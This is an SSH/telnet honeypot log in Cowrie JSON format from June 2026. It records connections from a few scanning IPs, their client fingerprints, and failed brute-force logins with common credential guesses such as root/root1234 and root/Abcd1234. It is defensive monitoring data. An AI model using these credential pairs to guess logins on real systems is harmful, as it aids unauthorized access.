{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":51092,"dst_ip":"10.17.0.5","dst_port":22,"session":"0b8793cf4238","protocol":"ssh","message":"New connection: 45.156.87.147:51092 (10.17.0.5:22) [session: 0b8793cf4238]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:54:34.945680Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:54:34.949922Z","src_ip":"45.156.87.147","session":"0b8793cf4238","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:54:35.034135Z","src_ip":"45.156.87.147","session":"0b8793cf4238","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:54:35.185055Z","src_ip":"62.133.62.83","session":"d2e65614d657","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"user","message":"login attempt [deploy/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:54:35.291169Z","src_ip":"45.156.87.147","session":"0b8793cf4238","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kipt","password":"kipt","message":"login attempt [kipt/kipt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:54:35.610052Z","src_ip":"91.92.42.227","session":"cdb3a94cdc56","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:54:36.377179Z","src_ip":"45.156.87.147","session":"0b8793cf4238","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:54:37.456546Z","src_ip":"91.92.42.227","session":"cdb3a94cdc56","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":60686,"dst_ip":"10.17.0.5","dst_port":22,"session":"720ffbd94bcd","protocol":"ssh","message":"New connection: 91.92.42.227:60686 (10.17.0.5:22) [session: 720ffbd94bcd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:54:40.116427Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:54:40.386509Z","src_ip":"91.92.42.227","session":"720ffbd94bcd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:54:40.393774Z","src_ip":"91.92.42.227","session":"720ffbd94bcd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":47392,"dst_ip":"10.17.0.5","dst_port":22,"session":"81bb8974511f","protocol":"ssh","message":"New connection: 45.156.87.147:47392 (10.17.0.5:22) [session: 81bb8974511f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:54:40.904891Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:54:40.909289Z","src_ip":"45.156.87.147","session":"81bb8974511f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:54:40.997026Z","src_ip":"45.156.87.147","session":"81bb8974511f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wizard","password":"wizard","message":"login attempt [wizard/wizard] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:54:41.248641Z","src_ip":"45.156.87.147","session":"81bb8974511f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:54:42.344018Z","src_ip":"45.156.87.147","session":"81bb8974511f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"16.162.188.118","src_port":43162,"dst_ip":"159.203.135.109","dst_port":23,"session":"cb8780c48f05","protocol":"telnet","message":"New connection: 16.162.188.118:43162 (159.203.135.109:23) [session: cb8780c48f05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:54:42.602339Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"root1234","message":"login attempt [root/root1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:54:42.791172Z","src_ip":"91.92.42.227","session":"720ffbd94bcd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.2","message":"Connection lost after 4.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:54:44.367932Z","src_ip":"91.92.42.227","session":"720ffbd94bcd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":38210,"dst_ip":"10.17.0.5","dst_port":22,"session":"cbd28d9948a6","protocol":"ssh","message":"New connection: 91.92.42.227:38210 (10.17.0.5:22) [session: cbd28d9948a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:54:46.788563Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":47398,"dst_ip":"10.17.0.5","dst_port":22,"session":"aaf5f5e0e0bc","protocol":"ssh","message":"New connection: 45.156.87.147:47398 (10.17.0.5:22) [session: aaf5f5e0e0bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:54:47.084391Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:54:47.088140Z","src_ip":"45.156.87.147","session":"aaf5f5e0e0bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:54:47.171790Z","src_ip":"45.156.87.147","session":"aaf5f5e0e0bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test@123","message":"login attempt [test/test@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:54:47.423203Z","src_ip":"45.156.87.147","session":"aaf5f5e0e0bc","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:54:47.500814Z","src_ip":"91.92.42.227","session":"cbd28d9948a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:54:47.504454Z","src_ip":"91.92.42.227","session":"cbd28d9948a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:54:48.514468Z","src_ip":"45.156.87.147","session":"aaf5f5e0e0bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123321","message":"login attempt [root/123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:54:49.680831Z","src_ip":"91.92.42.227","session":"cbd28d9948a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.4","message":"Connection lost after 4.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:54:51.162271Z","src_ip":"91.92.42.227","session":"cbd28d9948a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":49068,"dst_ip":"10.17.0.5","dst_port":22,"session":"ba34185219f0","protocol":"ssh","message":"New connection: 45.156.87.147:49068 (10.17.0.5:22) [session: ba34185219f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:54:52.854797Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:54:52.859443Z","src_ip":"45.156.87.147","session":"ba34185219f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:54:53.075400Z","src_ip":"45.156.87.147","session":"ba34185219f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abcd1234","message":"login attempt [root/Abcd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:54:53.326011Z","src_ip":"45.156.87.147","session":"ba34185219f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":38256,"dst_ip":"10.17.0.5","dst_port":22,"session":"6ddbf60a5547","protocol":"ssh","message":"New connection: 91.92.42.227:38256 (10.17.0.5:22) [session: 6ddbf60a5547]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:54:53.466003Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:54:54.027225Z","src_ip":"91.92.42.227","session":"6ddbf60a5547","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:54:54.030581Z","src_ip":"91.92.42.227","session":"6ddbf60a5547","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:54:54.436917Z","src_ip":"45.156.87.147","session":"ba34185219f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"appuser","password":"123456","message":"login attempt [appuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:54:57.160793Z","src_ip":"91.92.42.227","session":"6ddbf60a5547","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":49074,"dst_ip":"10.17.0.5","dst_port":22,"session":"f8c4eb06e9c5","protocol":"ssh","message":"New connection: 45.156.87.147:49074 (10.17.0.5:22) [session: f8c4eb06e9c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:54:58.761889Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:54:58.770818Z","src_ip":"45.156.87.147","session":"f8c4eb06e9c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:54:58.847648Z","src_ip":"45.156.87.147","session":"f8c4eb06e9c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.6","message":"Connection lost after 5.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:54:59.035106Z","src_ip":"91.92.42.227","session":"6ddbf60a5547","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe@123","message":"login attempt [root/qwe@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:54:59.182012Z","src_ip":"45.156.87.147","session":"f8c4eb06e9c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:00.272337Z","src_ip":"45.156.87.147","session":"f8c4eb06e9c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":58686,"dst_ip":"10.17.0.5","dst_port":22,"session":"9cba8203c3ab","protocol":"ssh","message":"New connection: 91.92.42.227:58686 (10.17.0.5:22) [session: 9cba8203c3ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:55:00.667490Z"}
